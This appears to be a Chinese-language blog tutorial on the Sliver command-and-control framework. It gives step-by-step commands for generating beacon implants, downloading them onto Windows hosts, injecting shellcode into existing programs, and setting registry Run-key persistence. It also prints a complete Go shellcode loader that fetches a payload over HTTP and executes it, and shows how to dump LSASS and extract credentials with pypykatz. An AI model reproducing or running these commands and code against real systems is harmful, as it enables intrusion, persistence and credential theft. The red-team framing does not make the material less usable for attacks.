简介
Sliver 是一个开源的跨平台对手模拟/红队框架,各种规模的组织都可以使用它来执行安全测试。Sliver 的植入程序支持基于相互 TLS (mTLS)、WireGuard、HTTP(S) 和 DNS 的 C2,并使用每个二进制非对称加密密钥进行动态编译。
服务器和客户端支持MacOS、Windows和Linux。MacOS、Windows 和 Linux(可能还有每个 Golang 编译器目标,但我们尚未对所有目标进行测试)均支持植入程序。
安装
sudo curl -q -o- https://sliver.sh/install | sudo bash
使用
我们可以使用使用sliver
来启动C2....
我们可以使用help
来查看有那些命令参数。
我们可以直接使用http
命令来创建监听器,当然也可以创建tcp以及https等等。
如果我们不知道如何使用的话我们可以使用-h
参数来查看如何使用。
所以我们可以通过-l
参数来指定要监听的端口,和CobaltStrike
类似,只是Sliver是命令行进行创建。
如下监听了8003端口。
我们可以创建多个监听器,例如如下我们创建http
以及https
。
我们可以使用jobs
命令来查看监听器。
如果需要删除监听器的话我们可以使用jobs -k ID
来进行删除。
现在让我们来生成一个木马来进行上线。
使用如下命令:
generate beacon -h
这里需要着重介绍2个参数。
-f
表示输出文件的格式,这里默认是exe格式。
-S
表示Beacon回连的间隔时间,类似于CobaltStrike
中C2 Profile中配置的间隔时间。
现在让我们来生成一个上线的木马文件。
generate beacon -b http://ip:port -S 5
现在我们将文件放到windows机器上运行即可。
也可以使用powershell下载:
iwr http://192.168.213.149:8000/PROSPECTIVE_AMUSEMENT.exe -o relaysec.exe
当我们双击之后会得到一个Session。
我们可以使用beacons
命令来查看上线的Beacon。
可以使用use
命令来选择Beacon。
我们可以正常执行命令,比如whoami
我们可以使用info
命令来查看目标基本的架构信息,类似于systeminfo
我们可以使用interactive
命令来打开交互式会话。
紧接着使用use
按两下Tab键来选择。
使用shell
命令来切换到powershell窗口。
他会提示你这个操作并不是那么的OPSEC,请慎重选择。
我们选择y
即可。
我们可以使用exit
来进行退出。
当我们回到交互式会话的时候我们可以使用background
来返回到上一层,这和MSF相比起来是差不多的。
我们可以使用ps
命令来查看进程相关的东西。
我们可以使用backdoor
命令来目标系统上的现有文件中注入Shellcode。
但是在这之前需要创建一个服务的配置文件。
profiles new --format shellcode --http 192.168.213.149:8003 profile1
然后我们使用backdoor
命令来向目标系统上的现有文件中注入Shellcode。
这时当我们启动Process Hacker
的时候就会返回给我们一个Beacon。
此时我们先把会话删除。
beacons rm
当我们启动process Hacker
的时候。
可以看到已经有Beacon反弹回来了。
查看进程,可以看到上线的是Process Hacker.exe。
我们可以使用registry
命令来创建注册表维权。
现在让我们尝试使用registry
命令。
registry write -T string --hive HKCU "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\" "C\\Users\\Admin\\Desktop\\relaysec.exe"
现在让我们重启。
然后Sliver这里就会收到一个Beacon。
如果我们想多人运动的话,那么我们可以使用如下命令来生成新的队员的配置文件。
./sliver-server operator --name relaysec --lhost IP --save relaysec.cfg
现在我们将文件下载下来,然后可以去尝试连接。
连接的方式可以通过import
方式。
./sliver-client_linux import relaysec.cfg
如下是我在服务器上上线的一台机器。
另一个是使用kali连接到服务端。
这样就实现了多人运动。
前面我们生成的都是exe,现在如果我们想生成bin
文件的话,我们可以使用mtls进行生成。
generate — mtls 192.210.140.85 — save /tmp — skip-symbols -f shellcode — os windows
但是在这之前我们需要启动mtls
作为监听器。
mtls -l 8889
现在让我们使用如下程序进行加载。
package mainimport ( "io/ioutil" "net/http" "syscall" "unsafe")const ( MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_EXECUTE_READWRITE = 0x40)var ( kernel32 = syscall.MustLoadDLL("kernel32.dll") ntdll = syscall.MustLoadDLL("ntdll.dll") VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect") RtlMoveMemory = ntdll.MustFindProc("RtlMoveMemory"))func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool { ret, _, _ := procVirtualProtect.Call( uintptr(lpAddress), uintptr(dwSize), uintptr(flNewProtect), uintptr(lpflOldProtect)) return ret > 0}func main() { response, _ := http.Get("http://ip/code.bin") defer response.Body.Close() charcode, _ := ioutil.ReadAll(response.Body) addr, _, _ := VirtualAlloc.Call(0, uintptr(len(charcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) _, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&charcode[0])), uintptr(len(charcode)))for j := 0; j < len(charcode); j++ { charcode[j] = 0 } syscall.Syscall(addr, 0, 0, 0, 0)}
我们可以使用armory
命令来获取可以使用的打包程序的列表,他就是类似于一个武器库,当你想使用的时候直接安装即可。
紧接着我们可以使用armory install hashdump
来安装此程序。
然后我们就可以直接使用了,例如hashdump
。
在CobaltStrike中有进程迁移的功能,那么Sliver中也有这个功能,也就是migrate
这个命令。
对于转储Lsass进程来说,我们可以使用procdump
命令来转储lsass进程。
procdump --pid 652 --save lsa.DMP
然后我们可以使用pypykatz
来离线读取。
pypykatz lsa minidump lsass.DMP
一般的话我们不喜欢使用shell来创建powershell执行cmd命令,所以我们可以使用execute
命令来执行,这样更加的OPSEC一些。
无论是Mythic还是CobaltStrike都是支持socks5代理的,那么Sliver也是支持的。
除了我们可以使用socks5进行实现代理之外,Sliver提供了另一种方式,Wireguard VPN
最后记得转发噢 您的转发就是我更新的动力!!!